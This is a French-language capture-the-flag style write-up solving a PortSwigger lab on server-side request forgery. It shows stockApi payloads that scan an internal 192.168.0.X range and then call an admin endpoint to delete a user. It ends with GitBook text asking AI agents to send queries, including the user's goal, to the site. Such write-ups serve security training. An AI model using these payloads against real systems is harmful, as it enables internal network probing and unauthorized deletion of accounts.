> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/ssrf/basic-ssrf-against-internal-system.md).

# SSRF de base contre un système interne

Notes sur le SSRF de base contre un système interne pour les laboratoires PortSwigger Web Security Academy, y compris le flux de travail d’exploitation, les tests de charge utile, la validation avec Burp Suite et le contexte de remédiation.

## SSRF de base contre un autre système back-end

Ce laboratoire offre une fonctionnalité de vérification du stock qui interroge un service interne. / L'objectif est d'utiliser ce mécanisme pour analyser la plage interne **192.168.0.X** à la recherche d'une interface d'administration sur le port **8080**, puis supprimez l'utilisateur carlos.

#### **Analyse et exploitation**

* Le **stockApi** le paramètre est envoyé à **Intruder** pour automatiser le test de l'adresse interne :

```javascript
stockApi=http://192.168.0.§1§:8080/admin
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-47e15e16ac14dea4f969b2cecb7cfc1a58239184%2Fimage%20(340).png?alt=media" alt=""><figcaption></figcaption></figure>

Une attaque par force brute approximative est menée sur les **254 adresses possibles** de la plage interne, toutes avec le chemin /admin.

Un dictionnaire de valeurs est téléchargé pour alimenter l'attaque :

```bash
wget https://gist.githubusercontent.com/danielthall/09b8f173b5c0b84065d8e211def83c0b/raw/20d713765b3fa620c09aebd36e41ce69debef865/0-1000.txt
```

* Après le lancement de l'attaque, le **192.168.0.14** adresse renvoie un \*\*code HTTP 200\*\*, indiquant que l'interface d'administration est accessible.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-aa334d3fafae9e8252fa613348d51d6a3de970c7%2Fimage%20(341).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-625eab0a65ebfb32856e1179f7196e4fd780614b%2Fimage%20(342).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

#### **Suppression de l'utilisateur**

* Accès au panneau d'administration :

```javascript
stockApi=http://192.168.0.14:8080/admin
stockApi=http://192.168.0.14:8080/admin/delete?username=carlos
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3b5842ad000e25f3816944cf20f4af89ce9d6246%2Fimage%20(343).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/fr/web/ssrf/basic-ssrf-against-internal-system.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
